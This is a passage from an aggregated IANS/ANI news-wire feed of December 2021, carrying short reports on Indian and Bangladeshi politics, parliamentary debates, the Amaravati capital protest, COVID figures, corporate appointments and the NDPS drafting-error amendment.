"replay" of earlier issues that hampered Covax getting doses for needy countries, the report said. "We are reliant on countries remaining committed to making sure that vaccines are made available globally at the same time. We are reliant on the manufacturers being transparent and being fair in how they use the supply that they have," she said. --IANS rvt/arm ( 486 Words) 2021-12-15-20:21:49 (IANS) The Shiromani Akali Dal (SAD) on Tuesday gave a clarion call for the establishment of a truly federal structure in the country, with genuine cultural, political and economic autonomy to states. It also announced to implement a Rs 50,000 per acre crop insurance scheme, besides commitment to revive the pre-2004 pension scheme for government employees. Addressing what he called "the biggest historic gathering of Punjabis in living memory", five-time Chief Minister Parkash Singh Badal said the SAD-BSP alliance is all set to repeat the performance of their only joint effort in 1996, when the alliance had swept the entire state. As scores of people turned out to mark the centennial commemoration of SAD, the party "vowed to give to Punjabis a genuinely transparent, accountable and inclusive government". Badal said the choice before Punjabis is "straight and simple". It's one between having a government of the Punjabis, for the Punjabis and by the Punjabis on the one hand, or having 'boastful puppets' remote controlled by outsiders. He said it is sad to see the Congress humiliating the poor and Scheduled Castes by first letting it be know that the current Chief Minister Charanjit Singh Channi was not their first choice. "Now, they are humiliating him by openly refusing to endorse his performance and not naming him as its CM face," Badal said. Earlier, they had humiliated seasoned Congress leader Sunil Jakhar's community by first publicising that he would be the next CM, but later leaking out media reports that no one from his community could be made the CM of Punjab by the Congress, he said. "Such communal games are nothing new to the Congress, but they are both distasteful and dangerous for communal haromny," he said. The Akali stalwart also warned the government of India against the "dangerous adventurism" of the past and said nothing should be done to disturb the atmosphere of peace and communal harmony in Punjab and outside. Addressing the congregation, SAD President Sukhbir Singh Badal announced that farmers would be offered an insurance cover of Rs 50,000 per acre for crop damage. He also announced that the next SAD-BSP alliance government would revive the pre-2004 pension scheme for government employees. He said the next government would also end monopolies in sand and liquor business by giving a person one mining contract and liqour vend to one individual. He also announced waiver of electricity bills of all religious places of worship. He said the SAD-BSP alliance government would not allow anyone to disturb peace and communal harmony in the state. He also related how SAD was the first party to raise the voice of federalism. "Now all regional parties are also calling for strengthening federal rights. If federal rights of states are secure, then black laws like the three agricultural laws cannot be implemented without the approval of the states. We are committing to strengthening the federal nature of the country," he said. Senior party leader Prem Singh Chandumajra also read out a resolution in this regard, calling for formation of a 'Sanjha Morcha' to espouse the cause of federalism nationally. The Moga conference also passed a resolution condemning the Congress government's 'attempts' to register false cases against SAD-BSP alliance leaders and warned Chief Minister Channi, Home Minister Sukhjinder Randhawa and PPCC President Navjot Singh Sidhu that they would be responsible for the consequences of pursuing vendetta politics. The resolution, which was read out by Daljit Singh Cheema, also demanded the resignation of the Chief Minister and the Home Minister in the 'cash for transfer' case. It also demanded judicial probe into bribery charges levelled against the Home Minister who has been accused by a cabinet colleague of taking money for posting SSPs. Speaking on the occasion, senior vice-president of the Bahujan Samaj Party (BSP), Satish Mishra, said the alliance is set to sweep the forthcoming polls by securing 100 seats. He said the alliance stands for empowering the weaker sections of the society. BSP's Punjab in-charge, Randhir Beniwal, and state president, Jasbir Singh Garhi, also spoke on the occasion. --IANS vg/arm ( 689 Words) 2021-12-14-20:22:32 (IANS) The Lok Sabha on Tuesday took up the Supplementary Demands for Grants, Second Batch for 2021-22 which includes a Rs 62,000 crore equity infusion into Air India, fertilizer and food subsidy and the Mahatma Gandhi National Rural Employment Guarantee Scheme. Initiating the debate on the Supplementary Demands for Grants, Congress Member Shashi Tharoor said that this is not a "Jai Jawan Jai Kisan" era under this government, it is a "Na Jawan Na Kisan" era (Neither Jawan nor Kisan). Expressing concern over the state of the economy post the Covid-19 situation, he held demonetization responsible for weakening the economy. "We all praised the valiant efforts of our healthcare workers, the reality is that with the short sightedness of the policy decision of the government, the economy was ushered into uncertainty," Tharoor added. Bharatiya Janata Party lawmaker Nishikant Dubey while debating on the Grants, listed the achievements of the National Democratic Alliance government. He said that today Railways is competing with budget airlines as the Modi government brought the Railway Budget under the Financial Budget soon after it came to power and now every year the Railway Ministry is getting adequate funding for expansion of the rail infrastructure. During the last seven years, almost 90 percent of the electrification work of the Railways has been done and it will be 100 percent very soon. There is no dearth of funds and it is seen in the development of stations across the country. He highlighted how Air India was destined to doom due to the bad policies of the earlier UPA government and it was also flagged in the Comptroller and Auditor General of India's reports which said that merger of Air India and Indian Airlines was a bad move. The CAG report also listed how the so called bailout packages were given to Air India which ultimately proved to be sheer wastage of taxpayers' money. ADMK Member Dayanidhi Maran blamed the government for Air India's loss. In over seven years, you were not able to make a PSU profitable, he charged. He also asked who the other bidders for Air India were during the auction. Maran recalled how the "Give Up Subsidy" campaign for LPG cylinders was launched and now the subsidy on cooking gas is only Rs 12. Earlier only women cried while cooking, now the entire family cries, he added. Claiming that the Insolvency and Bankruptcy Code (IBC) was a fraud, he said the haircuts taken by the financial creditors are unbelievable while the nationalised banks are facing losses but the Corporates are benefited by it. The TMC's Saugata Roy claimed that the government had begged the Tata group to takeover Air India and history will remember the Finance Minister as the biggest saleswoman. YSR Congress Party Member Midhun Reddy while debating on the Appropriation (5) Bill 2021, took up the special category status for Andhra Pradesh. He said that bifurcation was the only issue where both the UPA and the NDA came together and split a State. BSP lawmaker Ritesh Pandey said that the government is trying to hide the reality of the economy under the rosy picture of the stock market. He added that first demonetization and then the Covid-19 pandemic ruined the rural economy. "We have seen how lakhs of workers were forced to trudge to their villages during the lockdown and when they reached their home now they have to buy fertilizers and other agricultural stuff at higher prices,", Pandey said, adding that the funds for MNREGA have been reduced year by year. He said that now India stands at the 100th position in the World Hunger Index while only Rs 5 is being spent on nutritional food for school children under the Mid Day Meal programme. J&K's NC Member Hasnain Masoodi charged that the government is propagating a fake narrative that the situation in Jammu and Kashmir has completely changed. The government says that the situation has substantially improved after the August 5, 2019 abrogation of Article 370 and 35 A but the reality can been seen in the attacks on the security forces in the Union Territory and the killings of civilians, he added. He said that the local bodies elected Members are forced to stay under police protection and are not able to even meet their electorate. Masoodi said that crores of rupees have been given to the Tatas but funds in MNREGA have been reduced for J&K. There are power cuts and no drinking water in the majority of the Union Territory despite the claim that tap drinking water connections have been provided under the Jal Jeevan Mission. The debate remained inconclusive and will be taken up again on December 15. --IANS ams/bg ( 800 Words) 2021-12-14-21:02:37 (IANS) The mega foot march by farmers and women of Amaravati demanding that the city be retained as the only state capital of Andhra Pradesh concluded in temple town Tirupati on Tuesday. After covering 450 km in 44 days, the 'Mahapadyatra' ended at Alipiri, the foothills of Sri Venkateswara temple. Leaders of the Amaravati Parirakshana Samithi and the Amaravati Joint Action Committee, along with other participants broke 108 coconuts, praying for success of their agitation against trifurcation of the state capital. The participants later left for the hill shrine to offer prayers. Titled 'court to temple', the 'Mahapadyatra' began near Andhra Pradesh High Court at Amaravati on November 1. It passed through various towns and villages in Guntur, Prakasam, Nellore, and Chittoor districts to reach Tirupati. Farmers of 29 villages of Amaravati region, who had given 33,000 acres of land for development of the state capital when the Telugu Desam Party (TDP) was in power, have been protesting for more than 700 days. With the foot march, their agitation entered a new phase. Leaders of the JAC said they successfully completed the walkathon despite the hurdles created by the police at various places at the instance of ruling YSR Congress Party (YSRCP). They said the 'Mahapadyatra' was only the beginning of their movement, and they were determined to carry on the movement till the YSRCP government decides to have Amaravati as the only capital. During the foot march, the movement witnessed some key developments. On November 22, when the High Court resumed hearing on a batch of petitions challenging the government's plans for trifurcation of state capital, the government took back the laws passed to create their state capitals. The developed had raised hopes among protestors in Amaravati but the same day Chief Minister Y.S. Jagan Mohan Reddy announced in the Assembly that the government will bring a comprehensive legislation. He made it clear that the government remained committed to three capitals. The Assembly passed Andhra Pradesh Decentralisation and Inclusive Development of all Regions Repeal Bill 2021, repealing the Andhra Pradesh Decentralisation and Inclusive Development of all Regions Act 2020 and the Andhra Pradesh Capital Region development Authority Repeal Act 2020 Act. Leaders of Amaravati movement and opposition parties claimed the government feared that the two legislations may be struck down by the High Court, which was hearing more than 50 petitions challenging them. The petitioners had challenged the laws on ground being technically flawed as they were not passed by the Legislative Council, the upper house of the state legislature. For nearly two years, the farmers, women and other sections of people in Amaravati have been continuing their protest. They say Jagan Mohan Reddy-led government's move to dump Amaravati as the only capital and develop Visakhapatnam and Kurnool as administrative and judicial capitals, respectively, dashed their hopes of a bright future after giving away 33,000 acres of land. The move caused distress to 4,000 farmer families. The three-capital proposal came as a bolt from the blue for the farmers relying on the mega plans of then Chandrababu Naidu government to build Amaravati on the banks of Krishna river as the dream capital and a world-class city, whose design was prepared by the Singapore government. --IANS ms/vd ( 545 Words) 2021-12-14-21:06:29 (IANS) Madurai MP Su Venkatesan on Tuesday said that he has requested Union Finance Minister, Nirmala Sitharaman to withdraw the 12 per cent GST on Sungudi sarees that are traditionally worn by women of the lower strata of the society. In a statement, the CPI-M MP said that he met the minister in person at her office in New Delhi and told her that the popular and unique Sungudi sarees were crafted by the minority Saurashtrian community in Madurai, were handmade and machines are not used at any stage on this. He said that increasing the GST from 5 per cent to 12 per cent would crush the industry and render thousands jobless. He said that the Tamil Nadu government had earlier exempted sales tax on Sungundi sarees in 1955 itself and added that these had received the geographic identity (GI) card from the Union government on January 1, 2005. He said that in 2017, the Centre levied 5 per cent GST on Sungundi sarees that pushed the poor weaving community into poverty and increasing this GST to 12 per cent would lead to an end to the sarees' production. He said that the weavers were slowly recovering from the Covid-19 pandemic when the decision to increase GST to 12 per cent had befallen them. He said that the industry would be crushed rendering thousands jobless and on the streets. The Minister, according to the MP, however, said that revising the GST rate is being decided by the GST Council and not the government. --IANS aal/vd ( 269 Words) 2021-12-14-21:26:40 (IANS) In a written reply to a question asked by TRS member Kotha Prabhakar Reddy, Minister of State for Home Affairs Nityanand Rai told the Lok Sabha, in a written reply, that a total of 8,81,254 Indians have given up their citizenship till September 30, 2021 as per the information shared by the Ministry of External Affairs. The data also said that the maximum number of 1,44,017 Indians have renounced their citizenship in 2019. According to the data, a total of 1,31,489 Indian nationals gave up their citizenship in 2015, 1,41,603 in 2016, 1,33,049 in 2017, 1,34,561 in 2018, 1,44,017 in 2019, 85,248 in 2020, and 1,11,287 till September 30 this year. The Minister also informed that citizenship of India may be renounced under provisions of Section 8 of the Citizenship Act, 1955 read with rule 23 of the Citizenship Rules, 2009. The online portal for renunciation of Indian citizenship has been activated in August, 2021. End to end processing of renunciation applications is carried out in the online Citizenship Module, he added. --IANS ams/vd ( 210 Words) 2021-12-14-22:10:44 (IANS) Deputy Superintendent of Police Sudhakar Reddy, who visited the spot, said "The bankers deposited Rs 15 lakh in the ATM on Monday. The thieves opened the ATM lock and digital lock and then theft the amount, in midnight. It was found that thieves robbed Rs 11,49,900 and the remaining amount was withdrawn by various customers." By going through the facts and crime scene circumstances, the police suspected that the robbery was done by the persons who had a good understanding and knowledge about the functioning of this ATM and Bank, Reddy added. "The police have registered an FIR and investigation is in progress," he added. Further investigation is underway. (ANI) Manish Maheshwari, former head of Twitter India who moved to a bigger role at the company's headquarters in the US amid the political storm over account removals earlier this year, on Tuesday confirmed that he is leaving the micro-blogging platform -- now under new CEO Parag Agrawal -- to launch his own edtech startup. In a series of tweets, Maheshwari said that after close to three years, he is leaving Twitter to dedicate himself to education and teaching and will open the edtech startup, to be named Invact. "While it is with a heavy heart that I leave Twitter, I am excited about the impact that can be created globally through education," he said. "Our vision is a high-quality and socially immersive learning experience for everyone, delivered to them wherever they are, at a price they can afford. I am looking forward to your support as we build the team and raise the funds to deliver on this #Metaversity vision," Maheshwari tweeted. "Metaversity is particularly relevant for women in emerging markets as it equalises the playing field. It empowers them to become whosoever they want to be, build learning communities and make inroads into professional networks, thereby improving their career prospects," he added. Maheshwari, who joined Twitter in April 2019 as Managing Director for its India operations, moved into a new role in August this year, based in San Francisco as Senior Director, Revenue Strategy and Operations, and focused on 'New Market Entry'. His departure came as Twitter blocked accounts of Congress leader Rahul Gandhi and several other party leaders for violating platform policies. The Congress alleged that it was done on the behest of the government. Twitter had clarified its action, saying that the rules were enforced judiciously and impartially for everyone on its service. Amid the political ruckus, the Centre in August informed the Delhi High Court that Twitter has appointed permanent officers as required under the Information Technology (Intermediary Guidelines and Digital Media Ethics Code) Rules, 2021. Twitter informed the Delhi High Court that it has appointed employees at the positions of Chief Compliance Officer and Resident Grievance Officer, and Nodal Contact Person, in compliance with the provisions of the new IT rules. In October, the Supreme Court issued notice on a plea filed by Uttar Pradesh government challenging the Karnataka High Court order quashing notice of personal appearance issued to then Twitter India Managing Director Maheshwari. The notice was issued to Maheshwari in connection with a probe into uploading a communally sensitive video by a user on Twitter. The police had rejected Twitter India officials' request to carry out the questioning via video conferencing. --IANS na/vd ( 450 Words) 2021-12-14-22:36:32 (IANS) Union Minister of State in the Ministry of Home Affairs, Nityanand Rai, said on Tuesday that all-round development of Gorkhas, including those living in West Bengal, is a top priority for the government. The minister's reply came to a series of questions posed by Congress leader Gaurav Gogoi in the Lok Sabha, asking if the government can provide the status of Permanent Political Solution related to Gorkhas in West Bengal. The minister, in a written reply to all the queries, said that in a meeting with the representatives of Gorkhas on October 12, it was mentioned that the aspirations of the people would be met within the Constitutional framework and in consultation with the government of West Bengal. Notably, the Home Ministry on October 13 began tripartite talks with the Gorkha representatives from the Darjeeling Hills, Terrai and Dooars region in West Bengal to resolve the issues related to Gorkhas. "The talks aimed at resolving the issues related to the Gorkhas were chaired by Union Home Minister Amit Shah. The Gorkha delegation was led by Darjeeling MP Raju Bisht, which highlighted various issues concerning the Gorkhas and the region," the ministry said. He further said that Shah listened to all the parties concerned and decided to call for a second round of talks in the presence of senior officials of the government of West Bengal in November 2021. "The West Bengal government has been specifically asked to send its senior officials for the next round of talks. The all-round development and prosperity of the Darjeeling hills, Terrai and Dooars region is the top most priority of the Narendra Modi government," the statement read. --IANS uj/arm ( 287 Words) 2021-12-14-22:40:35 (IANS) The government said on Tuesday that robust security and intelligence grid are in place to prevent any terrorist attacks on migrant labourers. "In addition, day and night area domination, patrolling and proactive operations against terrorists are being carried out in the areas where migrant labourers work/reside," said Minister of State for Home, Nityanand Rai, in a written reply in the Lok Sabha. He said round-the-clock checking at nakas and road opening parties are being adequately augmented at the strategic points to thwart any terrorist attack on migrant labourers in Kashmir. The minister was asked whether the government intends to prevent reverse migration of labourers from Kashmir to their native places, to which he replied that several steps have been taken the for safety and security of the migrant labourers who are expected to return to the Valley at the end of the winter season. "The migrant labourers from different parts of the country usually come to the Valley every year in the month of April/May and return to their native places during winter after completing their seasonal work in the Valley," Rai added. Hundreds of migrant labourers were forced to flee the Valley in October after several incidents of killing of migrant workers were reported there. --IANS uj/arm ( 224 Words) 2021-12-14-22:48:49 (IANS) Speaking to the media here in Lucknow, Lallu, said, "It has been proved through the investigation that the Lakhimpur Kheri violence was not a case of negligence. It is a case of well-planned murder of lynching, murder and attempts to murder." "Therefore Ajay Mishra, Minister of State for Home should immediately resign from the post as per his claim. He had earlier claimed that he would resign from the post if his son was present at the scene, he added. The UP Congress Chief further demanded that the Prime Minister should immediately sack him from his post. Earlier on November 17, the Supreme Court had appointed Rakesh Kumar Jain, former judge of the Punjab and Haryana High Court to monitor the investigation in the Lakhimpur Kheri violence case to ensure transparency, fairness, and absolute impartiality. The apex court had reconstituted the Special Investigation Team (SIT) and named three senior IPS officers, SB Shirodkar, Deepinder Singh and Padmaja Chauhan in it. Local farmers had blamed Union Minister of State for Home Affairs Ajay Kumar Mishra 'Teni' and his son Ashish Mishra for the violence that left eight dead, including four farmers, a local journalist, and others during a farmers' protest. The minister and his son have denied the charges. Ashish Mishra and 20 others have been booked for murder. (ANI) When Indian Army officer Prashanta Kumar Ghosh reached Dhaka along with a handful of Mukti Bahini personnel and Indian soldiers at 4 a.m. on December 16, 1971, he was among the first of the Indian Army to reach the capital city. However, the journey was not an easy one, and began as a risky operation for him that started in April that year. "I was an officer of 50 Parachute Brigade posted in Agra. In February 1971, we were ordered to move to West Bengal because of the elections. The Naxal (Maoist) movement was at its peak and there was information that the rebels might attempt to disrupt the election. We were given the responsibility to neutralise the ultra-Left forces in the state," Ghosh, who rose to the rank of Brigadier later, said in an interview to IANS. "From the middle of March, the things started to change abruptly and the relation between East and West Pakistan started to turn sour and we could sense a serious conflict. In October/November, I was told to go to Bangladesh via Meghalaya where I would have to work as an informer," he said. "It was mid-November when I entered Bangladesh through Tura (city of Meghalaya). Clad in lungi and a T-shirt and with a bag made of jute, I entered Bangladesh. My name was Peter and I was supposed to become a freelance journalist who came there in search of good stories. I was assisted by a little boy who knew the local dialect. I was told very clearly that if I was caught then the Indian government would disown me," Ghosh said. "I was given a letter and I was told to meet Kader Siddique, a Mukti Bahini leader. The letter contained my identity. I entered East Pakistan and went deep south to a place called Tangail. The place was strategically important because from here Dhaka was only 40 km to the north and to the south, the route forked into Jamalpur and Mymensingh where the Pakistani army was having a strong command," he said. "My job was to create roadblocks with the help of Mukti Bahini and plan secret attacks on the Pakistani Army to create a sense of fear. I was engaged in my job. On the 10th of December, I was informed the Indian Army would launch an airborne assault and I will have to facilitate their para-dropping in Tangail. Immediately I got engaged in the job. "The next day the paratroopers dropped deep inside the territory and took control of Pungli bridge which was on north of Tangail. The bridge was strategically important because it was a gateway to Dhaka. I was instructed to delay the movement of the Pakistani Army that was coming from Mymensingh en route to Dhaka. We obstructed the Pakistani troops and delayed their movement for more than one hour. This helped the Indian force to settle and take on the Pakistani Army with all its might. The Pakistani force was dispersed and our way to Dhaka was cleared," Ghosh said. "On the 15th of December, we were at Mirpur, the outskirts of Dhaka and at 4 a.m. on the next day, we entered Dhaka. We went to Roman Racecourse where General Jacob (Eastern Command Chief of Staff Lt Gen J.F.R. Jacob) flew in to draft the surrender of the Pakistani Army. Pakistan's Lt Gen (Amir Abdullah Khan) Niazi was told to hand over his pistol during the surrender process and it was also told that the surrender process will be held in public where everyone will be present. He was forced to accept it," he added. "At 4 p.m. (Eastern Command chief, Lt Gen J.S.) Aurora came by helicopter to complete the surrender process. The surrender took place in front of the international press and Niazi and Arora signed the treaty. The famous photograph shows the signing being done. We were also there watching the history in the making," he said. --IANS sbg/vd ( 685 Words) 2021-12-14-23:03:04 (IANS) Bangladesh on Tuesday observed the Martyred Intellectuals Day in a befitting manner. Martyred Intellectuals Day is observed on December 14 to commemorate those intellectuals who were killed by Pakistani forces and their collaborators during the 1971 Liberation War, particularly on March 25 and December 14, 1971. Speaking on the occasion, Prime Minister Sheikh Hasina said that terrorist groups unleashed a reign of terror in the country from 2001 to 2006. They also unleashed arson in the country to thwart the national elections of 2014, and some of them are still hatching conspiracies, she added. The killers tortured free thinkers, teachers, writers, journalists and politicians, she said. Hasina also called upon every citizen to be imbued with the ideology of the martyred intellectuals and build a non-communal society based on the spirit of the Liberation War. In her message, Hasina said Martyred Intellectual Day is a shameful chapter in the history of Bangladesh as the Pakistani occupation forces, anti-liberation forces and their local collaborators killed eminent intellectuals at the far end of the Liberation War to turn the nation into a brain-less state. On the occasion, President M. Abdul Hamid and Hasina paid rich tributes to the martyred intellectuals. The nation will forever remember the sacrifices made by the martyred intellectuals, Hasina said, as she called upon the people to be united against any terror threat. In a seperate message, the President and the Prime Minister urged people to come forward and build a non-communal, happy and prosperous 'Sonar Bangla'. Hasina mentioned that the anti-liberation forces had assassinated Bangabandhu Sheikh Mujibur Rahman and most of his family members on August 15, 1975 and through those heinous killings, the anti-liberation forces started the politics of coup and conspiracy in the country. "We have brought the killers of the martyred intellectuals under trial and have been executing the verdicts. No conspiracy can divert the nation from this process. Those who wanted to save the heinous war criminals will also be brought to justice one day," Hasina mentioned. Just two days ahead of the country's final victory for Independence, on this day 50 years back, the Pakistani occupation forces with the help of their auxiliary force, Jamat e Islam's wings Razakar, Al-Badr, and Al-Shams, had killed the most prominent intellectuals of the country, as part of a conspiracy hatched by the Pakistan government. The then Bangladesh government and the victorious freedom fighters, however, came to know about the brutal massacres only when the Pakistani troops surrendered on December 16, 1971, and their top accomplices mostly belonging to Jamaat-e-Islami and its student wing went into hiding, only to resurface years later. Those who were exposed to the killers' wrath on December 14, 1971 included Alim Chowdhury and Fazle Rabbi, journalists Shahidullah Kaisar, Sirajudddin Hossain, Nizamuddin Ahmed, S.A. Mannan, and Selina Parveen, and litterateurs Monier Chowdhury, Govinda Chandra Dev, Jyotirmoy Guha Thakurta, Santosh Chattacharjee, Anwar Pasha, Mofazzal Haider Chowdhury, and Muniruzzaman. Most of the victims were picked up from their houses and killed between December 10 and December 14, 1971. --IANS sumi/arm ( 521 Words) 2021-12-14-23:04:26 (IANS) A youth was shot and injured on Tuesday when NSCN-IM militants opened fire at Rani Colony in Assam's Cachar district as villagers refused their demands, police officials said. Cachar District Superintendent of Police Ramandeep Kaur, who visited the area, said the incident took place 500 metres away from the Assam-Manipur border, which is occasionally used by the militants as their transit route. Quoting the villagers, she said that around 10 cadres of the National Socialist Council of Nagalim-Isak-Muivah faction came to the village on Tuesday morning and sought accommodation and other facilities from the villagers. However, when villagers refused to provide any help, the cadres of the Naga outfit opened fire. According to the police official, a youth was injured in the firing and he was shifted to the Silchar Medical College and Hospital. She said that the Assam Police in coordination with the Manipur Police have immediately launched a search operation to nab the NSCN-IM rebels. --IANS sc/vd ( 170 Words) 2021-12-14-23:14:12 (IANS) Leena Nair (52), who was named the new global CEO of French fashion house Chanel on Tuesday, said that she is humbled and honoured to be appointed the global Chief Executive Officer of Chanel, which is an iconic and admired company. In a rare move for the tightly-controlled fashion house, picking the consumer goods veteran to run one of the world's biggest luxury groups sends a positive and inclusive message, setting the pace in an industry reeling under pressure to show a more inclusive and accepting approach. "I am so inspired by what Chanel stands for. It is a company that believes in the freedom of creation, in cultivating human potential and in acting to have a positive impact in the world," Nair tweeted. The Indian born British national has been given the charge of ensuring Chanel's "long term success as a private company", it said in a statement, recognising Nair as a "visionary leader whose ability to champion a long-term, purpose-driven agenda is matched with a consistently strong record of business outcomes". Renowned for its women's pantsuits, tweeds and famous handbags, Chanel was founded in 1910 by the legendary Gabrielle Chanel, fondly called "Coco" Chanel. What started out as a hat boutique in Paris became synonymous with French chic and Parisienne style. From 2016 to date, Alain Wertheimer, who owns Chanel with his brother Gerard Wertheimer, temporarily took on the CEO's job till a suitable candidate was found. The 73-year-old French billionaire will take on the role of global Executive Chairman. Nair's 30-year-long career at Unilever comes to an end with her as the chief of human resources and a member of the company's executive committee. Unilever's CEO, Alan Jope, thanked her for her "outstanding contribution", adding that she "has been a pioneer through her career... a driving force on our (Uniliver's) equity, diversity and inclusion agenda... she has played a critical role in building our purpose-led, future-fit organisation." Nair will now be based out of London and will join the luxury house at the end of January. --IANS tb/arm ( 354 Words) 2021-12-14-23:18:34 (IANS) Kerala Chief Minister Pinarayi Vijayan on Tuesday hit out at Congress leader Rahul Gandhi over "soft Hindutva" politics and asserted the need for regional alliances to defeat the Bharatiya Janata Party (BJP). He was speaking at the inaugural event of the CPI(M) conference at the Ernakulam district conference. He said, "The idea of a Hindu government put forward by Rahul Gandhi at the Jaipur rally is part of the soft Hindutva politics that has already been adopted by Congress. "Congress has always taken a Hindutva stance. There is also a policy of communal appeasement that is part of it. Rahul Gandhi's speech is reassuring that. One by one, the Congress leaders are now leading the BJP as part of an earlier policy," added Vijayan. Vijayan further said that the people and the Congress workers have lost faith in the Congress. "For whatever reason, we cannot see Congress as an alternative force to BJP." Vijayan added, "The Left has good credibility with the people. All that can be done is to form alliances in each state with the democratic parties that are strongly opposed to the BJP. The position of the CPIM is to form a secular government. All that needs to be done is to use secular parties and groups to move forward to replace the BJP at the all-India level. What needs to be done is to strengthen the relationship with such parties." The Kerala Chief Minister also slammed the Indian Union Muslim League (IUML) alleging that they were forming an alliance with outfits like Jamaat-e-Islami against the communist government. "The UDF and the BJP are now trying to create communal polarization in the state. We can see that in the new media. The Sangh Parivar and Islamic extremists want to create communal tensions. Both groups help each other. They are carrying out challenges that are destroying the secularism of Kerala." (ANI) "Punjab Government has taken a major decision. A General Caste Commission is being set up in the state. The decision will be passed by the State Cabinet day after tomorrow," said Punjab CM. Earlier on Tuesday, the Punjab Cabinet led by Chief Minister gave the approval to upgrade 229 schools to different levels in the state. With this decision, 46 elementary schools will be upgraded to middle schools, 100 middle to high schools and 83 high to senior secondary schools. According to the Chief Minister's Office (CMO), the move is aimed to obviate the students from the hardships of travelling long distances to continue their further studies, which causes them inconvenience and even leads their dropping out of schools. Notably, the government has been receiving numerous requests from various Gram Panchayats and Councillors of Municipal Town to redress this issue. (ANI) While speaking to ANI, Dr Sunil Sharma, said, "Five persons, who arrived in GB Nagar recently from the United Kingdom, which is among the "at-risk" countries, and Singapore, have tested positive for COVID-19." Sharma added that so far, the GB Nagar administration has received a list of around 4,729 people who have returned from abroad, including 1,101 from "at-risk" nations. Meanwhile, India has recorded 5,784 new COVID-19 cases, the lowest in 571 days in the last 24 hours, the Union Health Ministry informed on Tuesday. As many as 252 deaths and 7,995 recoveries have also been reported. (ANI) "Central fund of Rs 2,747 crore has been allocated to the Union Territory in 2021-22 for the implementation of Jal Jeevan Mission, which is nearly four times the allocation made during 2020-21," the ministry said. It further said that the Jammu and Kashmir plans to become 'Har Ghar Jal' Union Territory by August 2022. "Out of 18.35 lakh, rural households in the UT, 10.39 lakh (57 per cent) households have tap water connections. Despite adverse weather conditions and challenges of transportation in many areas in this difficult terrain, water supply work is in full swing to make provision of tap water supply in villages. Provision has been made for tap water supply to every rural household in two districts of Srinagar and Ganderbal and 1,070 villages," the Ministry of Jal Shakti said. The Union Government led by Prime Minister Narendra Modi accords top priority to make provision of tap water connection in every rural household across the country under Jal Jeevan Mission as there is a massive increase in budgetary allocation to Rs 2,747.17 Crore in 2021-22, from Rs 681.77 Crore in the preceding year. Jal Jeevan Mission is implemented in a decentralized manner following the 'bottom-up' approach, wherein the local village community plays a key role starting from planning to implementation and from management to operation and maintenance. (ANI) Speaking to ANI, Additional Superintendent of Police (ASP) Gopal Khandel, said, "A truck was seized for illegally transporting cattle in Jabalpur on Saturday. 32 cattle were rescued and 13 bulls were found dead." A case has been registered under relevant sections of the law. Further investigation is underway. (ANI) As many as 4073 people have recovered from the infection in the last 24 hours. While 28 people lost their lives to the deadly virus, taking the death toll to 43,344. At present, there are 35,410 active COVID-19 cases in the state. Meanwhile, India has recorded 5,784 new COVID-19 cases, the lowest in 571 days in the last 24 hours, the Union Health Ministry informed on Tuesday. India's COVID-19 vaccination coverage has exceeded 133.88 crore (1,33,88,12,577). (ANI) The Centre will be moving the Narcotics Drugs and Psychotropic Substances (Amendment) Bill, 2021 in Rajya Sabha on Wednesday for consideration and passage. Finance Minister Nirmala Sitharaman will move the Bill in the second half of the Upper House proceedings. The NDPS (Amendment) Bill, 2021 seeks amendment to the Narcotic Drugs and Psychotropic Substances Act, 1985, and seeks to rectify a drafting "anomaly" created by a 2014 amendment to the parent legislation. The anomaly crept in when the Narcotic Drugs and Psychotropic Substances (NDPS) Act was amended in 2014 to allow better medical access to narcotic drugs and removing state barriers in transporting and licensing of essential narcotic drugs. The 2021 amendment contains a legislative declaration about what one section refers to. It says Section 2 clause (viii)a corresponds to clause (viii)b in Section 27, since 2014 when the provision was first brought in. Section 27A of the NDPS Act, 1985, prescribes the punishment for financing illicit traffic and harbouring offenders. In 2014, a substantial amendment was made to the NDPS Act to allow for better medical access to narcotic drugs. In Section 2(viii)a, the amendment defined "essential drugs"; under Section 9, it allowed the manufacture, possession, transport, import inter-State, export inter-State, sale, purchase, consumption and use of essential narcotic drugs. But before the 2014 amendment, Section 2(viii)a already existed and contained a catalogue of offences for which the punishment is prescribed in Section 27A. Section 27A reads: "Whoever indulges in financing, directly or indirectly, any, of the activities specified in sub-clauses (i) to (v) of clause (viii)a of section 2 or harbours any person engaged in any of the aforementioned activities, shall be punishable with rigorous imprisonment for a term which shall not be less than ten years but which may extend to twenty years and shall also be liable to fine which shall not be less than one lakh rupees but which may extend to two lakh rupees. "Provided that the court may, for reasons to be recorded in the judgment, impose a fine exceeding two lakh rupees." While defining "essential drugs" in 2014, the legislation re-numbered Section 2. The catalogue of offences, originally listed under Section 2(viii)a, was now under Section 2(viii)b. In the amendment, Section 2(viii)a defined essential narcotic drugs. However, the drafters missed amending the enabling provision in Section 27A to change Section 2(viii)a to Section 2(viii)b. Section 27A punished offences mentioned under Section 2(viii)a sub-clauses i-v. However, Section 2 (viii)a sub-clauses i-v, which were supposed to be the catalogue of offences, does not exist after the 2014 amendment. It is now Section 2(viii)b. This error in the text meant since 2014, Section 27A was inoperable. The error was noticed by a district judge in West Agartala. In June this year, the Tripura High Court, while hearing a reference made by the district court, flagged the drafting error, urging the Centre to bring in an amendment and rectify it. In 2016, an accused had sought bail before a special judge in West Tripura in Agartala, citing this omission in drafting. The accused's plea was that since Section 27A penalised a blank list, he could not be charged under the offence. The district judge then referred the legal question to the High Court. The government had argued that the drafting error cannot be grounds to seek bail and must be overlooked. Although the HC agreed with the government and read the provision the way it was intended and not the way it was drafted, it said the reading could not be applied retrospectively. Article 20(1) of the Constitution says that no person shall be convicted of any offence except for violation of the law in force at the time of the commission of the act charged as an offence, nor be subjected to a penalty greater than that which might have been inflicted under the law in force at the time of the commission of the offence. This protection means that a person cannot be prosecuted for an offence that was not a "crime" under the law when it was committed. In September, the government brought in an ordinance to rectify the drafting error, which Lok Sabha passed on Monday by a voice vote that corrects a drafting error in the Narcotic Drugs and Psychotropic Substances (Amendment) Act. "It shall be deemed to have come into force on the 1st day of May, 2014," the Bill reads. During the discussion in Lok Sabha, Finance Minister had said retrospective application is permitted in "clarificatory amendments." "It is not substantive, that is why, retrospective is allowed," she said. She also mentioned that the government had sought the opinion of Solicitor General Tushar Mehta's opinion before introducing the amendment. (ANI) The Union Finance Ministry on Tuesday had informed the Lok Sabha that a Bill on cryptocurrency is under final consideration of the Cabinet. The Union government had earlier decided to table the Bill in the Winter Session of Parliament and, sources stated, it may later be referred to the Standing Committee for further deliberations. The Bill seeks "to create a facilitative framework for the creation of the official digital currency to be issued by the Reserve Bank of India". The Bill also seeks to prohibit all private 